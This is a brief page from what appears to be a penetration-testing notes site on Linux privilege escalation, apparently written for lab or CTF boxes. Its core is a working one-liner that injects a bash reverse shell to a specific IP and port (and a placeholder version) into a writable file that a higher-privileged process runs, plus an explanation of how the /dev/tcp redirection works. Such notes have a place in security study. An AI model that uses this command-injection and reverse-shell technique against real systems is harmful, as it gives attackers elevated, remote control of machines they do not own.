> For the complete documentation index, see [llms.txt](https://nullbrain.gitbook.io/nullbrain/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://nullbrain.gitbook.io/nullbrain/real-world/privilege-escalation.md).

# Privilege escalation

privilege escalation is a vast topic in itself, however, the technique can be simple as:

1. Any other user in the box?
2. Any file with higher permission

`echo " ;/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.159/1234 0>&1' #" >> badlypermissionedfile`

Explanation: `bash -i >& /dev/tcp/<IP>/<port> 0>&1`

This snippet runs a new interactive instance of bash (bash -i), on a TCP connection to the specified port on the specified host which is created for the duration of the bash process. Standard output and standard error are sent through this connection (`>& /dev/tcp/HOST/PORT`), and standard input is read through this connection (`0>&1` or `0<&1` both works).

`echo " ;/bin/bash -c 'bash -i >& /dev/tcp/<IP_ADDRESS>/<1234> 0>&1' #" >> filename`